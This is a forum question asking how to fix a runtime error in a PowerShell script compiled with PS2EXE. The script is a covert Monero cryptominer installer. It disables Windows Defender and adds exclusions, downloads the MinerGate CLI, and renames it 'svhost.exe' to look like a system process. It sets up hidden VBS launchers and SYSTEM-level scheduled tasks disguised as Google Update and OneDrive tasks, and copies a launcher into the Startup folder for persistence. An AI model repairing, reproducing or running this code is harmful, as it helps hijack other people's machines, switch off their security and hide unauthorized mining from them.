how to bypass powershell runtime error

I have a script to automate installation and operation of a program

It happens that when I compile with PS2EXE and run it, it give the error seen on the attached image

The PS1 script is

$Arc = if ([System.IntPtr]::Size -eq 4) { “32-Bit” } else { “64-Bit” }
$url = “https://download.minergate.com/win-cli
$output = “C:ProgramDataJavaDownload.zip”
$destination = “C:ProgramDataJava”
$start_time = Get-Date
$NightAction = New-ScheduledTaskAction -Execute ‘C:ProgramDataJavaDatabaseKill.bat’
$NightTrigger = New-ScheduledTaskTrigger -Daily -At 6:30pm
$NightMineAction = New-ScheduledTaskAction -Execute ‘C:ProgramDataJavaDatabasenight.vbs’
$NightMineTrigger = New-ScheduledTaskTrigger -Daily -At 7pm
$DayAction = New-ScheduledTaskAction -Execute ‘C:ProgramDataJavaDatabaseKill.bat’
$DayTrigger = New-ScheduledTaskTrigger -Daily -At 6:30am
$DayMineAction = New-ScheduledTaskAction -Execute ‘C:ProgramDataJavaDatabaseday.vbs’
$DayMineTrigger = New-ScheduledTaskTrigger -Daily -At 7am
$CPUQuery = ((get-counter “Processor(*)% idle time”).countersamples | select instancename).length -1
$CPU = $CPUQuery / 2
$CPUFull = $CPUQuery / 1
$principal = New-ScheduledTaskPrincipal -UserID “NT AUTHORITYSYSTEM” -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -MultipleInstances Parallel

If ($Arc -eq “64-Bit”) {

New-Item -Path “C:ProgramDataJava” -ItemType directory

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -ExclusionPath “C:ProgramDataJava”, “C:ProgramDataJavaDatabase”
Set-MpPreference -ExclusionProcess “svhost.exe”

Invoke-WebRequest -Uri $url -OutFile $output
Expand-Archive -path $output -destinationpath $destination
Rename-Item C:ProgramDataJavaMinerGate-cli-4.04-win64Minergate-cli.exe svhost.exe
Rename-Item C:ProgramDataJavaMinerGate-cli-4.04-win64 C:ProgramDataJavaDatabase

cd C:ProgramDataJavaDatabase
“Taskkill /IM svhost.exe /F” | Out-File -encoding ascii jshalf.bat -append
“cd C:ProgramDataJavaDatabase” | Out-File -encoding ascii jshalf.bat -append
“timeout /t 60” | Out-File -encoding ascii jshalf.bat -append
“svhost -user -fcn+xmr $CPU” | Out-File -encoding ascii jshalf.bat -append

cd C:ProgramDataJavaDatabase
“Taskkill /IM svhost.exe /F” | Out-File -encoding ascii jsfull.bat -append
“cd C:ProgramDataJavaDatabase” | Out-File -encoding ascii jsfull.bat -append
“timeout /t 60” | Out-File -encoding ascii jsfull.bat -append
“svhost -user -fcn+xmr $CPUFull” | Out-File -encoding ascii jsfull.bat -append

“Taskkill /IM svhost.exe /F” | Out-File -encoding ascii Kill.bat

“Dim WShell” | Out-File -encoding ascii day.vbs
{Set WShell = CreateObject(“WScript.Shell”)} | Out-File -encoding ascii day.vbs -append
{WShell.Run “C:ProgramDataJavaDatabasejshalf.bat”, 0} | Out-File -encoding ascii day.vbs -append
“Set WShell = Nothing” | Out-File -encoding ascii day.vbs -append

“Dim WShell” | Out-File -encoding ascii night.vbs
{Set WShell = CreateObject(“WScript.Shell”)} | Out-File -encoding ascii night.vbs -append
{WShell.Run “C:ProgramDataJavaDatabasejsfull.bat”, 0} | Out-File -encoding ascii night.vbs -append
“Set WShell = Nothing” | Out-File -encoding ascii night.vbs -append

Remove-Item $output

Register-ScheduledTask -Action $NightAction -Trigger $NightTrigger -TaskName “AppLog Dump” -Settings $settings -Principal $principal -Description “Daily dump of Applog”
Register-ScheduledTask -Action $NightMineAction -Trigger $NightMineTrigger -TaskName “User_Feed_Synchronization-{765A0ABB-A404-4315-A54F-C2418F661999}” -Description “Updates out-of-date system feeds.” -Settings $settings -Principal $principal
Register-ScheduledTask -Action $DayAction -Trigger $DayTrigger -TaskName “OneDrive Standalone Update Task v4” -Description “OneDrive Standalone Update Task” -Settings $settings -Principal $principal
Register-ScheduledTask -Action $DayMineAction -Trigger $DayMineTrigger -TaskName “GoogleUpdateTaskMachineMI” -Description “Keeps your Google software up to date. If this task is disabled or stopped, your Google software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This task uninstalls itself when there is no Google software using it.” -Settings $settings -Principal $principal

Copy-Item “C:ProgramDataJavaDatabaseday.vbs” “C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup”

.Day.vbs
}

Thanks